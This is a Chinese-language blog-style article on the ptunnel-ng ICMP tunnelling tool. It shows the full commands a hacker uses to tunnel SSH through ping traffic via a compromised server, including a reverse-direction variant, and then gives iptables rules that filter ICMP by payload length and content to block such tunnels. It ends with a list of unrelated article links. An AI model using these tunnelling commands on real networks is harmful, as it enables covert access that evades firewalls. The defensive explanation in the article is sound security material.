ptunnel-ng工具是一款的ICMP tunnel工具 , 它基于经典的ptunnel工具开发 , 在原来ptunnel的基础上修复了一些bug并添加了一些特性 。ptunnel及ptunnel-ng在Kali系统上均可通过apt源进行安装 , ptunnel-ng项目网址为
https://github.com/lnslbrty/ptunnel-ng 。
什么是ICMP tunnel?ICMP tunnel是把其它流量封装在ICMP流量中的技术 , 在访问限制比较严的网络环境中 , 黑客可能会通过这种技术把控制流量隐藏在ICMP的ping包中 , 以此来绕过防火墙策略的限制 。
ptunnel-ng用法我们这里假设黑客的IP为202.198.67.67 , 他已经控制了目标网络一台内外网IP分别为
192.168.30.23/202.198.67.254的内网服务器Server1 , 因为防火墙的限制 , Server1不能访问外网 , 但在外网Hacker可以ping通过Server1的外网IP 202.198.67.254 , 现在黑客的需求是使用ptunnel-ng经过Server1中转控制Server2:
Hacker:202.198.67.67-->Server1:202.198.67.254/192.168.30.22-->Server2:192.168.30.23要使用ptunne-ng创建ICMP tunnel , 黑客需要分别在本机及Server1上执行以下命令:
Hacker:ptunnel-ng -p202.198.67.254 -l2222 -r192.168.30.23 -R22 , 把目标网络的192.168.30.23:22转发到本地的2222端口:

文章插图
Server1:ptunnel-ng , 在Server1上监听ICMP流量:

文章插图
完成以上两步后 , Hacker便可以在本地访问2222端口 , ICMP tunnel会自动把2222端口流量转发到Server2的22端口:

文章插图
以上是Hacker能ping通Server1时的方案 , 如果Hacker不能ping通Server1 , 而Server1又能ping通Hacker时 , 可以把方向调换一下 , 即由Server1向Hacker发起建立ICMP tunnel的请求 。先把Hacker的22端口转到Server1本地 , 再通过SSH的远程端口转发功能把Server2的22端口转发到Hacker上:
Hacker:ptunnel-ng ssh 127.0.0.1 -p 2222Server1: ptunnel-ng -p202.198.67.67 -l2222 -r202.198.67.67 -R22 ssh -R 2222:192.168.30.23:22 127.0.0.1 -p 2222如何防范ICMP tunnelICMP tunnel的流量特征明显 , 它把非法流量隐藏在echo-request及echo-reply数据包的payload中 , 使数据包的内容及长度都发生改变 。不同操作系统默认的paylod长度及内容都不一样 , 但是都是固定的 , 比如windows操作系统的ping包默认pyaload长度为32 , 内容为“abcdefghijklmnopqrstuvwabcdefghi” , linux系统payload默认长度为48 , 固定的Hex格式内容为“|
0000000000101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637|” 。
所以 , 要禁止ICMP tunnel流量 , 首先我们可以通过限制echo-request及echo-reply包的长度 , 这里把只允许长度为84(Linux)或长60(Windows)的echo-request或echo-reply进出防火墙:
iptables -A INPUT -p icmp -m icmp --icmp-type 0 -m length --length 84 -j ACCEPTiptables -A INPUT -p icmp -m icmp --icmp-type 0 -m length --length 60 -j ACCEPTiptables -A INPUT -p icmp -m icmp --icmp-type 8 -m length --length 84 -j ACCEPTiptables -A INPUT -p icmp -m icmp --icmp-type 8 -m length --length 60 -j ACCEPTiptables -A INPUT -p icmp -m icmp --icmp-type 8 -j DROPiptables -A INPUT -p icmp -m icmp --icmp-type 0 -j DROPiptables -A OUTPUT -p icmp -m icmp --icmp-type 0 -m length --length 84 -j ACCEPTiptables -A OUTPUT -p icmp -m icmp --icmp-type 0 -m length --length 60 -j ACCEPTiptables -A OUTPUT -p icmp -m icmp --icmp-type 8 -m length --length 84 -j ACCEPTiptables -A OUTPUT -p icmp -m icmp --icmp-type 8 -m length --length 60 -j ACCEPTiptables -A OUTPUT -p icmp -m icmp --icmp-type 8 -j DROPiptables -A OUTPUT -p icmp -m icmp --icmp-type 0 -j DROP更严格一点 , 我们还可以通过string模块限制数据包的内容:-A INPUT -p icmp -m icmp --icmp-type 0 -m length --length 84 -m string --hex-string "|0000000000101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637|" --algo bm --to 65535 -j ACCEPT-A INPUT -p icmp -m icmp --icmp-type 0 -m length --length 60 -m string --string "abcdefghijklmnopqrstuvwabcdefghi" --algo bm --to 65535 -j ACCEPT-A INPUT -p icmp -m icmp --icmp-type 8 -m length --length 84 -m string --hex-string "|0000000000101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637|" --algo bm --to 65535 -j ACCEPT-A INPUT -p icmp -m icmp --icmp-type 8 -m length --length 60 -m string --string "abcdefghijklmnopqrstuvwabcdefghi" --algo bm --to 65535 -j ACCEPT-A INPUT -p icmp -m icmp --icmp-type 8 -j DROP-A INPUT -p icmp -m icmp --icmp-type 0 -j DROP-A OUTPUT -p icmp -m icmp --icmp-type 0 -m length --length 84 -m string --hex-string "|0000000000101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637|" --algo bm --to 65535 -j ACCEPT-A OUTPUT -p icmp -m icmp --icmp-type 0 -m length --length 60 -m string --string "abcdefghijklmnopqrstuvwabcdefghi" --algo bm --to 65535 -j ACCEPT-A OUTPUT -p icmp -m icmp --icmp-type 8 -m length --length 84 -m string --hex-string "|0000000000101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637|" --algo bm --to 65535 -j ACCEPT-A OUTPUT -p icmp -m icmp --icmp-type 8 -m length --length 60 -m string --string "abcdefghijklmnopqrstuvwabcdefghi" --algo bm --to 65535 -j ACCEPT-A OUTPUT -p icmp -m icmp --icmp-type 8 -j DROP-A OUTPUT -p icmp -m icmp --icmp-type 0 -j DROP
推荐阅读
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 滇红金针功效泡法,凤庆大金针
- 大红袍茶多少钱斤呢,苦荞茶多少钱斤
- 冬天怎样减肥最有效,十大最有效草本减肥茶
- 推荐几个 React 性能优化工具
- 推荐常用的5款代码比较工具「值得收藏」
- 淘宝行业大盘在哪里看 淘宝怎么看大盘实时数据
- Win10系统内置的万能工具,功能强悍,可解决电脑大小故障!收藏
- win10摄像头在哪打开?
- 大红袍产地在哪里,名茶大红袍的产地是哪
- 大红柑属于好茶吗,看颗大红柑的年终总结
